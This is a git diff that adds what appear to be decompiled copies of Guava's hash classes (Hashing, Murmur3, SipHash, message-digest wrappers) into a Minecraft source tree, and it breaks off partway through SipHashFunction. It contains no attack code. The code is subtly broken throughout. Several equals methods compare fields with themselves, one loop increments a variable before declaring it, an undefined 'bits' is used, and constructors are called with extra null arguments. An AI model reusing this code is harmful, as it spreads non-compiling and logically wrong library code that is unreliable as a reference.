+import com.google.common.annotations.Beta;
+import java.nio.charset.Charset;
+
+@Beta
+public abstract interface Hasher
+  extends PrimitiveSink
+{
+  public abstract Hasher putByte(byte paramByte);
+  
+  public abstract Hasher putBytes(byte[] paramArrayOfByte);
+  
+  public abstract Hasher putBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract Hasher putShort(short paramShort);
+  
+  public abstract Hasher putInt(int paramInt);
+  
+  public abstract Hasher putLong(long paramLong);
+  
+  public abstract Hasher putFloat(float paramFloat);
+  
+  public abstract Hasher putDouble(double paramDouble);
+  
+  public abstract Hasher putBoolean(boolean paramBoolean);
+  
+  public abstract Hasher putChar(char paramChar);
+  
+  public abstract Hasher putUnencodedChars(CharSequence paramCharSequence);
+  
+  public abstract Hasher putString(CharSequence paramCharSequence, Charset paramCharset);
+  
+  public abstract <T> Hasher putObject(T paramT, Funnel<? super T> paramFunnel);
+  
+  public abstract HashCode hash();
+}
diff --git a/src/minecraft/com/google/common/hash/Hashing.java b/src/minecraft/com/google/common/hash/Hashing.java
new file mode 100644
index 0000000..dc4d3ac
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Hashing.java
@@ -0,0 +1,471 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.util.Iterator;
+import java.util.zip.Adler32;
+import java.util.zip.CRC32;
+import java.util.zip.Checksum;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Hashing
+{
+  public static HashFunction goodFastHash(int minimumBits)
+  {
+    int bits = checkPositiveAndMakeMultipleOf32(minimumBits);
+    
+    if (bits == 32) {
+      return Murmur3_32Holder.GOOD_FAST_HASH_FUNCTION_32;
+    }
+    if (bits <= 128) {
+      return Murmur3_128Holder.GOOD_FAST_HASH_FUNCTION_128;
+    }
+    
+
+    int hashFunctionsNeeded = (bits + 127) / 128;
+    HashFunction[] hashFunctions = new HashFunction[hashFunctionsNeeded];
+    hashFunctions[0] = Murmur3_128Holder.GOOD_FAST_HASH_FUNCTION_128;
+    int seed = GOOD_FAST_HASH_SEED;
+    for (int i = 1; i < hashFunctionsNeeded; i++) {
+      seed += 1500450271;
+      hashFunctions[i] = murmur3_128(seed);
+    }
+    return new ConcatenatedHashFunction(hashFunctions);
+  }
+  
+
+
+
+
+  private static final int GOOD_FAST_HASH_SEED = (int)System.currentTimeMillis();
+  
+
+
+
+
+
+
+
+  public static HashFunction murmur3_32(int seed)
+  {
+    return new Murmur3_32HashFunction(seed);
+  }
+  
+
+
+
+
+
+
+
+  public static HashFunction murmur3_32()
+  {
+    return Murmur3_32Holder.MURMUR3_32;
+  }
+  
+  private static class Murmur3_32Holder {
+    static final HashFunction MURMUR3_32 = new Murmur3_32HashFunction(0);
+    
+
+    static final HashFunction GOOD_FAST_HASH_FUNCTION_32 = Hashing.murmur3_32(Hashing.GOOD_FAST_HASH_SEED);
+    
+
+
+
+    private Murmur3_32Holder() {}
+  }
+  
+
+
+  public static HashFunction murmur3_128(int seed)
+  {
+    return new Murmur3_128HashFunction(seed);
+  }
+  
+
+
+
+
+
+
+
+  public static HashFunction murmur3_128()
+  {
+    return Murmur3_128Holder.MURMUR3_128;
+  }
+  
+  private static class Murmur3_128Holder {
+    static final HashFunction MURMUR3_128 = new Murmur3_128HashFunction(0);
+    
+
+    static final HashFunction GOOD_FAST_HASH_FUNCTION_128 = Hashing.murmur3_128(Hashing.GOOD_FAST_HASH_SEED);
+    
+
+
+    private Murmur3_128Holder() {}
+  }
+  
+
+
+  public static HashFunction sipHash24()
+  {
+    return SipHash24Holder.SIP_HASH_24;
+  }
+  
+  private static class SipHash24Holder {
+    static final HashFunction SIP_HASH_24 = new SipHashFunction(2, 4, 506097522914230528L, 1084818905618843912L);
+    
+
+
+
+    private SipHash24Holder() {}
+  }
+  
+
+
+  public static HashFunction sipHash24(long k0, long k1)
+  {
+    return new SipHashFunction(2, 4, k0, k1);
+  }
+  
+
+
+
+  public static HashFunction md5()
+  {
+    return Md5Holder.MD5;
+  }
+  
+  private static class Md5Holder {
+    static final HashFunction MD5 = new MessageDigestHashFunction("MD5", "Hashing.md5()");
+    
+
+    private Md5Holder() {}
+  }
+  
+  public static HashFunction sha1()
+  {
+    return Sha1Holder.SHA_1;
+  }
+  
+  private static class Sha1Holder {
+    static final HashFunction SHA_1 = new MessageDigestHashFunction("SHA-1", "Hashing.sha1()");
+    
+
+    private Sha1Holder() {}
+  }
+  
+
+  public static HashFunction sha256()
+  {
+    return Sha256Holder.SHA_256;
+  }
+  
+  private static class Sha256Holder {
+    static final HashFunction SHA_256 = new MessageDigestHashFunction("SHA-256", "Hashing.sha256()");
+    
+
+    private Sha256Holder() {}
+  }
+  
+
+  public static HashFunction sha512()
+  {
+    return Sha512Holder.SHA_512;
+  }
+  
+  private static class Sha512Holder {
+    static final HashFunction SHA_512 = new MessageDigestHashFunction("SHA-512", "Hashing.sha512()");
+    
+
+
+
+
+    private Sha512Holder() {}
+  }
+  
+
+
+
+  public static HashFunction crc32()
+  {
+    return Crc32Holder.CRC_32;
+  }
+  
+  private static class Crc32Holder {
+    static final HashFunction CRC_32 = Hashing.checksumHashFunction(Hashing.ChecksumType.CRC_32, "Hashing.crc32()");
+    
+
+
+
+
+    private Crc32Holder() {}
+  }
+  
+
+
+
+  public static HashFunction adler32()
+  {
+    return Adler32Holder.ADLER_32;
+  }
+  
+  private static class Adler32Holder {
+    static final HashFunction ADLER_32 = Hashing.checksumHashFunction(Hashing.ChecksumType.ADLER_32, "Hashing.adler32()");
+    
+    private Adler32Holder() {}
+  }
+  
+  private static HashFunction checksumHashFunction(ChecksumType type, String toString) { return new ChecksumHashFunction(type, bits, toString); }
+  
+  static abstract enum ChecksumType implements Supplier<Checksum>
+  {
+    CRC_32(32), 
+    
+
+
+
+
+    ADLER_32(32);
+    
+
+
+    private final int bits;
+    
+
+
+    private ChecksumType(int bits)
+    {
+      this.bits = bits;
+    }
+    
+
+
+
+
+
+
+
+    public abstract Checksum get();
+  }
+  
+
+
+
+
+
+
+  public static int consistentHash(HashCode hashCode, int buckets)
+  {
+    return consistentHash(hashCode.padToLong(), buckets);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int consistentHash(long input, int buckets)
+  {
+    Preconditions.checkArgument(buckets > 0, "buckets must be positive: %s", new Object[] { Integer.valueOf(buckets) });
+    LinearCongruentialGenerator generator = new LinearCongruentialGenerator(input);
+    int candidate = 0;
+    
+
+    for (;;)
+    {
+      int next = (int)((candidate + 1) / generator.nextDouble());
+      if ((next < 0) || (next >= buckets)) break;
+      candidate = next;
+    }
+    return candidate;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static HashCode combineOrdered(Iterable<HashCode> hashCodes)
+  {
+    Iterator<HashCode> iterator = hashCodes.iterator();
+    Preconditions.checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine.");
+    int bits = ((HashCode)iterator.next()).bits();
+    byte[] resultBytes = new byte[bits / 8];
+    for (HashCode hashCode : hashCodes) {
+      byte[] nextBytes = hashCode.asBytes();
+      Preconditions.checkArgument(nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length.");
+      
+      for (int i = 0; i < nextBytes.length; i++) {
+        resultBytes[i] = ((byte)(resultBytes[i] * 37 ^ nextBytes[i]));
+      }
+    }
+    return HashCode.fromBytesNoCopy(resultBytes);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static HashCode combineUnordered(Iterable<HashCode> hashCodes)
+  {
+    Iterator<HashCode> iterator = hashCodes.iterator();
+    Preconditions.checkArgument(iterator.hasNext(), "Must be at least 1 hash code to combine.");
+    byte[] resultBytes = new byte[((HashCode)iterator.next()).bits() / 8];
+    for (HashCode hashCode : hashCodes) {
+      byte[] nextBytes = hashCode.asBytes();
+      Preconditions.checkArgument(nextBytes.length == resultBytes.length, "All hashcodes must have the same bit length.");
+      
+      for (int i = 0; i < nextBytes.length; tmp102_100++) {
+        int tmp102_100 = i; byte[] tmp102_99 = resultBytes;tmp102_99[tmp102_100] = ((byte)(tmp102_99[tmp102_100] + nextBytes[tmp102_100]));
+      }
+    }
+    return HashCode.fromBytesNoCopy(resultBytes);
+  }
+  
+
+
+  static int checkPositiveAndMakeMultipleOf32(int bits)
+  {
+    Preconditions.checkArgument(bits > 0, "Number of bits must be positive");
+    return bits + 31 & 0xFFFFFFE0;
+  }
+  
+  private Hashing() {}
+  
+  @VisibleForTesting
+  static final class ConcatenatedHashFunction extends AbstractCompositeHashFunction {
+    private final int bits;
+    
+    ConcatenatedHashFunction(HashFunction... functions) { super();
+      int bitSum = 0;
+      for (HashFunction function : functions) {
+        bitSum += function.bits();
+      }
+      bits = bitSum;
+    }
+    
+    HashCode makeHash(Hasher[] hashers)
+    {
+      byte[] bytes = new byte[bits / 8];
+      int i = 0;
+      for (Hasher hasher : hashers) {
+        HashCode newHash = hasher.hash();
+        i += newHash.writeBytesTo(bytes, i, newHash.bits() / 8);
+      }
+      return HashCode.fromBytesNoCopy(bytes);
+    }
+    
+    public int bits()
+    {
+      return bits;
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof ConcatenatedHashFunction)) {
+        ConcatenatedHashFunction other = (ConcatenatedHashFunction)object;
+        if ((bits != bits) || (functions.length != functions.length)) {
+          return false;
+        }
+        for (int i = 0; i < functions.length; i++) {
+          if (!functions[i].equals(functions[i])) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      int hash = bits;
+      for (HashFunction function : functions) {
+        hash ^= function.hashCode();
+      }
+      return hash;
+    }
+  }
+  
+
+  private static final class LinearCongruentialGenerator
+  {
+    private long state;
+    
+
+    public LinearCongruentialGenerator(long seed)
+    {
+      state = seed;
+    }
+    
+    public double nextDouble() {
+      state = (2862933555777941757L * state + 1L);
+      return ((int)(state >>> 33) + 1) / 2.147483648E9D;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/HashingInputStream.java b/src/minecraft/com/google/common/hash/HashingInputStream.java
new file mode 100644
index 0000000..30a3f53
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/HashingInputStream.java
@@ -0,0 +1,103 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class HashingInputStream
+  extends FilterInputStream
+{
+  private final Hasher hasher;
+  
+  public HashingInputStream(HashFunction hashFunction, InputStream in)
+  {
+    super((InputStream)Preconditions.checkNotNull(in));
+    hasher = ((Hasher)Preconditions.checkNotNull(hashFunction.newHasher()));
+  }
+  
+
+
+
+  public int read()
+    throws IOException
+  {
+    int b = in.read();
+    if (b != -1) {
+      hasher.putByte((byte)b);
+    }
+    return b;
+  }
+  
+
+
+
+  public int read(byte[] bytes, int off, int len)
+    throws IOException
+  {
+    int numOfBytesRead = in.read(bytes, off, len);
+    if (numOfBytesRead != -1) {
+      hasher.putBytes(bytes, off, numOfBytesRead);
+    }
+    return numOfBytesRead;
+  }
+  
+
+
+
+
+  public boolean markSupported()
+  {
+    return false;
+  }
+  
+
+
+
+
+  public void mark(int readlimit) {}
+  
+
+
+
+  public void reset()
+    throws IOException
+  {
+    throw new IOException("reset not supported");
+  }
+  
+
+
+
+  public HashCode hash()
+  {
+    return hasher.hash();
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/HashingOutputStream.java b/src/minecraft/com/google/common/hash/HashingOutputStream.java
new file mode 100644
index 0000000..f6abcc1
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/HashingOutputStream.java
@@ -0,0 +1,74 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.io.FilterOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class HashingOutputStream
+  extends FilterOutputStream
+{
+  private final Hasher hasher;
+  
+  public HashingOutputStream(HashFunction hashFunction, OutputStream out)
+  {
+    super((OutputStream)Preconditions.checkNotNull(out));
+    hasher = ((Hasher)Preconditions.checkNotNull(hashFunction.newHasher()));
+  }
+  
+  public void write(int b) throws IOException {
+    hasher.putByte((byte)b);
+    out.write(b);
+  }
+  
+  public void write(byte[] bytes, int off, int len) throws IOException {
+    hasher.putBytes(bytes, off, len);
+    out.write(bytes, off, len);
+  }
+  
+
+
+
+  public HashCode hash()
+  {
+    return hasher.hash();
+  }
+  
+
+  public void close()
+    throws IOException
+  {
+    out.close();
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/MessageDigestHashFunction.java b/src/minecraft/com/google/common/hash/MessageDigestHashFunction.java
new file mode 100644
index 0000000..20f822b
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/MessageDigestHashFunction.java
@@ -0,0 +1,157 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class MessageDigestHashFunction
+  extends AbstractStreamingHashFunction
+  implements Serializable
+{
+  private final MessageDigest prototype;
+  private final int bytes;
+  private final boolean supportsClone;
+  private final String toString;
+  
+  MessageDigestHashFunction(String algorithmName, String toString)
+  {
+    prototype = getMessageDigest(algorithmName);
+    bytes = prototype.getDigestLength();
+    this.toString = ((String)Preconditions.checkNotNull(toString));
+    supportsClone = supportsClone();
+  }
+  
+  MessageDigestHashFunction(String algorithmName, int bytes, String toString) {
+    this.toString = ((String)Preconditions.checkNotNull(toString));
+    prototype = getMessageDigest(algorithmName);
+    int maxLength = prototype.getDigestLength();
+    Preconditions.checkArgument((bytes >= 4) && (bytes <= maxLength), "bytes (%s) must be >= 4 and < %s", new Object[] { Integer.valueOf(bytes), Integer.valueOf(maxLength) });
+    
+    this.bytes = bytes;
+    supportsClone = supportsClone();
+  }
+  
+  private boolean supportsClone() {
+    try {
+      prototype.clone();
+      return true;
+    } catch (CloneNotSupportedException e) {}
+    return false;
+  }
+  
+  public int bits()
+  {
+    return bytes * 8;
+  }
+  
+  public String toString() {
+    return toString;
+  }
+  
+  private static MessageDigest getMessageDigest(String algorithmName) {
+    try {
+      return MessageDigest.getInstance(algorithmName);
+    } catch (NoSuchAlgorithmException e) {
+      throw new AssertionError(e);
+    }
+  }
+  
+  public Hasher newHasher() {
+    if (supportsClone) {
+      try {
+        return new MessageDigestHasher((MessageDigest)prototype.clone(), bytes, null);
+      }
+      catch (CloneNotSupportedException e) {}
+    }
+    
+    return new MessageDigestHasher(getMessageDigest(prototype.getAlgorithm()), bytes, null);
+  }
+  
+  private static final class SerializedForm implements Serializable {
+    private final String algorithmName;
+    private final int bytes;
+    private final String toString;
+    private static final long serialVersionUID = 0L;
+    
+    private SerializedForm(String algorithmName, int bytes, String toString) { this.algorithmName = algorithmName;
+      this.bytes = bytes;
+      this.toString = toString;
+    }
+    
+    private Object readResolve() {
+      return new MessageDigestHashFunction(algorithmName, bytes, toString);
+    }
+  }
+  
+
+  Object writeReplace()
+  {
+    return new SerializedForm(prototype.getAlgorithm(), bytes, toString, null);
+  }
+  
+
+  private static final class MessageDigestHasher
+    extends AbstractByteHasher
+  {
+    private final MessageDigest digest;
+    private final int bytes;
+    private boolean done;
+    
+    private MessageDigestHasher(MessageDigest digest, int bytes)
+    {
+      this.digest = digest;
+      this.bytes = bytes;
+    }
+    
+    protected void update(byte b)
+    {
+      checkNotDone();
+      digest.update(b);
+    }
+    
+    protected void update(byte[] b)
+    {
+      checkNotDone();
+      digest.update(b);
+    }
+    
+    protected void update(byte[] b, int off, int len)
+    {
+      checkNotDone();
+      digest.update(b, off, len);
+    }
+    
+    private void checkNotDone() {
+      Preconditions.checkState(!done, "Cannot re-use a Hasher after calling hash() on it");
+    }
+    
+    public HashCode hash()
+    {
+      checkNotDone();
+      done = true;
+      return bytes == digest.getDigestLength() ? HashCode.fromBytesNoCopy(digest.digest()) : HashCode.fromBytesNoCopy(Arrays.copyOf(digest.digest(), bytes));
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/Murmur3_128HashFunction.java b/src/minecraft/com/google/common/hash/Murmur3_128HashFunction.java
new file mode 100644
index 0000000..1d2013c
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Murmur3_128HashFunction.java
@@ -0,0 +1,202 @@
+package com.google.common.hash;
+
+import com.google.common.primitives.UnsignedBytes;
+import java.io.Serializable;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Murmur3_128HashFunction
+  extends AbstractStreamingHashFunction
+  implements Serializable
+{
+  private final int seed;
+  private static final long serialVersionUID = 0L;
+  
+  Murmur3_128HashFunction(int seed)
+  {
+    this.seed = seed;
+  }
+  
+  public int bits() {
+    return 128;
+  }
+  
+  public Hasher newHasher() {
+    return new Murmur3_128Hasher(seed);
+  }
+  
+  public String toString()
+  {
+    return "Hashing.murmur3_128(" + seed + ")";
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof Murmur3_128HashFunction)) {
+      Murmur3_128HashFunction other = (Murmur3_128HashFunction)object;
+      return seed == seed;
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return getClass().hashCode() ^ seed;
+  }
+  
+  private static final class Murmur3_128Hasher extends AbstractStreamingHashFunction.AbstractStreamingHasher {
+    private static final int CHUNK_SIZE = 16;
+    private static final long C1 = -8663945395140668459L;
+    private static final long C2 = 5545529020109919103L;
+    private long h1;
+    private long h2;
+    private int length;
+    
+    Murmur3_128Hasher(int seed) {
+      super();
+      h1 = seed;
+      h2 = seed;
+      length = 0;
+    }
+    
+    protected void process(ByteBuffer bb) {
+      long k1 = bb.getLong();
+      long k2 = bb.getLong();
+      bmix64(k1, k2);
+      length += 16;
+    }
+    
+    private void bmix64(long k1, long k2) {
+      h1 ^= mixK1(k1);
+      
+      h1 = Long.rotateLeft(h1, 27);
+      h1 += h2;
+      h1 = (h1 * 5L + 1390208809L);
+      
+      h2 ^= mixK2(k2);
+      
+      h2 = Long.rotateLeft(h2, 31);
+      h2 += h1;
+      h2 = (h2 * 5L + 944331445L);
+    }
+    
+    protected void processRemaining(ByteBuffer bb) {
+      long k1 = 0L;
+      long k2 = 0L;
+      length += bb.remaining();
+      switch (bb.remaining()) {
+      case 15: 
+        k2 ^= UnsignedBytes.toInt(bb.get(14)) << 48;
+      case 14: 
+        k2 ^= UnsignedBytes.toInt(bb.get(13)) << 40;
+      case 13: 
+        k2 ^= UnsignedBytes.toInt(bb.get(12)) << 32;
+      case 12: 
+        k2 ^= UnsignedBytes.toInt(bb.get(11)) << 24;
+      case 11: 
+        k2 ^= UnsignedBytes.toInt(bb.get(10)) << 16;
+      case 10: 
+        k2 ^= UnsignedBytes.toInt(bb.get(9)) << 8;
+      case 9: 
+        k2 ^= UnsignedBytes.toInt(bb.get(8));
+      case 8: 
+        k1 ^= bb.getLong();
+        break;
+      case 7: 
+        k1 ^= UnsignedBytes.toInt(bb.get(6)) << 48;
+      case 6: 
+        k1 ^= UnsignedBytes.toInt(bb.get(5)) << 40;
+      case 5: 
+        k1 ^= UnsignedBytes.toInt(bb.get(4)) << 32;
+      case 4: 
+        k1 ^= UnsignedBytes.toInt(bb.get(3)) << 24;
+      case 3: 
+        k1 ^= UnsignedBytes.toInt(bb.get(2)) << 16;
+      case 2: 
+        k1 ^= UnsignedBytes.toInt(bb.get(1)) << 8;
+      case 1: 
+        k1 ^= UnsignedBytes.toInt(bb.get(0));
+        break;
+      default: 
+        throw new AssertionError("Should never get here.");
+      }
+      h1 ^= mixK1(k1);
+      h2 ^= mixK2(k2);
+    }
+    
+    public HashCode makeHash() {
+      h1 ^= length;
+      h2 ^= length;
+      
+      h1 += h2;
+      h2 += h1;
+      
+      h1 = fmix64(h1);
+      h2 = fmix64(h2);
+      
+      h1 += h2;
+      h2 += h1;
+      
+      return HashCode.fromBytesNoCopy(ByteBuffer.wrap(new byte[16]).order(ByteOrder.LITTLE_ENDIAN).putLong(h1).putLong(h2).array());
+    }
+    
+
+
+
+
+    private static long fmix64(long k)
+    {
+      k ^= k >>> 33;
+      k *= -49064778989728563L;
+      k ^= k >>> 33;
+      k *= -4265267296055464877L;
+      k ^= k >>> 33;
+      return k;
+    }
+    
+    private static long mixK1(long k1) {
+      k1 *= -8663945395140668459L;
+      k1 = Long.rotateLeft(k1, 31);
+      k1 *= 5545529020109919103L;
+      return k1;
+    }
+    
+    private static long mixK2(long k2) {
+      k2 *= 5545529020109919103L;
+      k2 = Long.rotateLeft(k2, 33);
+      k2 *= -8663945395140668459L;
+      return k2;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/Murmur3_32HashFunction.java b/src/minecraft/com/google/common/hash/Murmur3_32HashFunction.java
new file mode 100644
index 0000000..5bbfc8f
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Murmur3_32HashFunction.java
@@ -0,0 +1,180 @@
+package com.google.common.hash;
+
+import com.google.common.primitives.UnsignedBytes;
+import java.io.Serializable;
+import java.nio.ByteBuffer;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Murmur3_32HashFunction
+  extends AbstractStreamingHashFunction
+  implements Serializable
+{
+  private static final int C1 = -862048943;
+  private static final int C2 = 461845907;
+  private final int seed;
+  private static final long serialVersionUID = 0L;
+  
+  Murmur3_32HashFunction(int seed)
+  {
+    this.seed = seed;
+  }
+  
+  public int bits() {
+    return 32;
+  }
+  
+  public Hasher newHasher() {
+    return new Murmur3_32Hasher(seed);
+  }
+  
+  public String toString()
+  {
+    return "Hashing.murmur3_32(" + seed + ")";
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof Murmur3_32HashFunction)) {
+      Murmur3_32HashFunction other = (Murmur3_32HashFunction)object;
+      return seed == seed;
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return getClass().hashCode() ^ seed;
+  }
+  
+  public HashCode hashInt(int input) {
+    int k1 = mixK1(input);
+    int h1 = mixH1(seed, k1);
+    
+    return fmix(h1, 4);
+  }
+  
+  public HashCode hashLong(long input) {
+    int low = (int)input;
+    int high = (int)(input >>> 32);
+    
+    int k1 = mixK1(low);
+    int h1 = mixH1(seed, k1);
+    
+    k1 = mixK1(high);
+    h1 = mixH1(h1, k1);
+    
+    return fmix(h1, 8);
+  }
+  
+  public HashCode hashUnencodedChars(CharSequence input)
+  {
+    int h1 = seed;
+    
+
+    for (int i = 1; i < input.length(); i += 2) {
+      int k1 = input.charAt(i - 1) | input.charAt(i) << '\020';
+      k1 = mixK1(k1);
+      h1 = mixH1(h1, k1);
+    }
+    
+
+    if ((input.length() & 0x1) == 1) {
+      int k1 = input.charAt(input.length() - 1);
+      k1 = mixK1(k1);
+      h1 ^= k1;
+    }
+    
+    return fmix(h1, 2 * input.length());
+  }
+  
+  private static int mixK1(int k1) {
+    k1 *= -862048943;
+    k1 = Integer.rotateLeft(k1, 15);
+    k1 *= 461845907;
+    return k1;
+  }
+  
+  private static int mixH1(int h1, int k1) {
+    h1 ^= k1;
+    h1 = Integer.rotateLeft(h1, 13);
+    h1 = h1 * 5 + -430675100;
+    return h1;
+  }
+  
+  private static HashCode fmix(int h1, int length)
+  {
+    h1 ^= length;
+    h1 ^= h1 >>> 16;
+    h1 *= -2048144789;
+    h1 ^= h1 >>> 13;
+    h1 *= -1028477387;
+    h1 ^= h1 >>> 16;
+    return HashCode.fromInt(h1);
+  }
+  
+  private static final class Murmur3_32Hasher extends AbstractStreamingHashFunction.AbstractStreamingHasher {
+    private static final int CHUNK_SIZE = 4;
+    private int h1;
+    private int length;
+    
+    Murmur3_32Hasher(int seed) {
+      super();
+      h1 = seed;
+      length = 0;
+    }
+    
+    protected void process(ByteBuffer bb) {
+      int k1 = Murmur3_32HashFunction.mixK1(bb.getInt());
+      h1 = Murmur3_32HashFunction.mixH1(h1, k1);
+      length += 4;
+    }
+    
+    protected void processRemaining(ByteBuffer bb) {
+      length += bb.remaining();
+      int k1 = 0;
+      for (int i = 0; bb.hasRemaining(); i += 8) {
+        k1 ^= UnsignedBytes.toInt(bb.get()) << i;
+      }
+      h1 ^= Murmur3_32HashFunction.mixK1(k1);
+    }
+    
+    public HashCode makeHash() {
+      return Murmur3_32HashFunction.fmix(h1, length);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/PrimitiveSink.java b/src/minecraft/com/google/common/hash/PrimitiveSink.java
new file mode 100644
index 0000000..87e500e
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/PrimitiveSink.java
@@ -0,0 +1,32 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import java.nio.charset.Charset;
+
+@Beta
+public abstract interface PrimitiveSink
+{
+  public abstract PrimitiveSink putByte(byte paramByte);
+  
+  public abstract PrimitiveSink putBytes(byte[] paramArrayOfByte);
+  
+  public abstract PrimitiveSink putBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract PrimitiveSink putShort(short paramShort);
+  
+  public abstract PrimitiveSink putInt(int paramInt);
+  
+  public abstract PrimitiveSink putLong(long paramLong);
+  
+  public abstract PrimitiveSink putFloat(float paramFloat);
+  
+  public abstract PrimitiveSink putDouble(double paramDouble);
+  
+  public abstract PrimitiveSink putBoolean(boolean paramBoolean);
+  
+  public abstract PrimitiveSink putChar(char paramChar);
+  
+  public abstract PrimitiveSink putUnencodedChars(CharSequence paramCharSequence);
+  
+  public abstract PrimitiveSink putString(CharSequence paramCharSequence, Charset paramCharset);
+}
diff --git a/src/minecraft/com/google/common/hash/SipHashFunction.java b/src/minecraft/com/google/common/hash/SipHashFunction.java
new file mode 100644
index 0000000..9c59dac
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/SipHashFunction.java
@@ -0,0 +1,176 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.nio.ByteBuffer;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SipHashFunction
+  extends AbstractStreamingHashFunction
+  implements Serializable
+{
+  private final int c;
+  private final int d;
+  private final long k0;
+  private final long k1;
+  private static final long serialVersionUID = 0L;
+  
+  SipHashFunction(int c, int d, long k0, long k1)
+  {
+    Preconditions.checkArgument(c > 0, "The number of SipRound iterations (c=%s) during Compression must be positive.", new Object[] { Integer.valueOf(c) });
+    
+    Preconditions.checkArgument(d > 0, "The number of SipRound iterations (d=%s) during Finalization must be positive.", new Object[] { Integer.valueOf(d) });
+    
+    this.c = c;
+    this.d = d;
+    this.k0 = k0;
+    this.k1 = k1;
+  }
+  
+  public int bits() {
+    return 64;
+  }
+  
+  public Hasher newHasher() {
+    return new SipHasher(c, d, k0, k1);
+  }
+  
+
+  public String toString()
+  {
+    return "Hashing.sipHash" + c + "" + d + "(" + k0 + ", " + k1 + ")";
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof SipHashFunction)) {
+      SipHashFunction other = (SipHashFunction)object;
+      return (c == c) && (d == d) && (k0 == k0) && (k1 == k1);
+    }
+    
+
+
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return (int)(getClass().hashCode() ^ c ^ d ^ k0 ^ k1);
+  }
+  
+
+
+  private static final class SipHasher
+    extends AbstractStreamingHashFunction.AbstractStreamingHasher
+  {
+    private static final int CHUNK_SIZE = 8;
+    
+
+    private final int c;
+    
+    private final int d;
+    
+    private long v0 = 8317987319222330741L;
+    private long v1 = 7237128888997146477L;
+    private long v2 = 7816392313619706465L;
+    private long v3 = 8387220255154660723L;
+    
+
+    private long b = 0L;
+    
+
+
+    private long finalM = 0L;
+    
+    SipHasher(int c, int d, long k0, long k1) {
+      super();
+      this.c = c;
+      this.d = d;
+      v0 ^= k0;
+      v1 ^= k1;
+      v2 ^= k0;
+      v3 ^= k1;
+    }
+    
+    protected void process(ByteBuffer buffer) {
+      b += 8L;
+      processM(buffer.getLong());
+    }
+    
+    protected void processRemaining(ByteBuffer buffer) {
+      b += buffer.remaining();
+      for (int i = 0; buffer.hasRemaining(); i += 8) {
+        finalM ^= (buffer.get() & 0xFF) << i;
+      }
+    }
+    
+    public HashCode makeHash()
+    {
+      finalM ^= b << 56;
+      processM(finalM);
+      
+
+      v2 ^= 0xFF;
+      sipRound(d);
+      return HashCode.fromLong(v0 ^ v1 ^ v2 ^ v3);
+    }
+    
+    private void processM(long m) {
+      v3 ^= m;
+      sipRound(c);
+      v0 ^= m;
+    }
+    
+    private void sipRound(int iterations) {
+      for (int i = 0; i < iterations; i++) {
+        v0 += v1;
+        v2 += v3;
+        v1 = Long.rotateLeft(v1, 13);
+        v3 = Long.rotateLeft(v3, 16);
+        v1 ^= v0;
+        v3 ^= v2;
+        v0 = Long.rotateLeft(v0, 32);
+        v2 += v1;
+        v0 += v3;
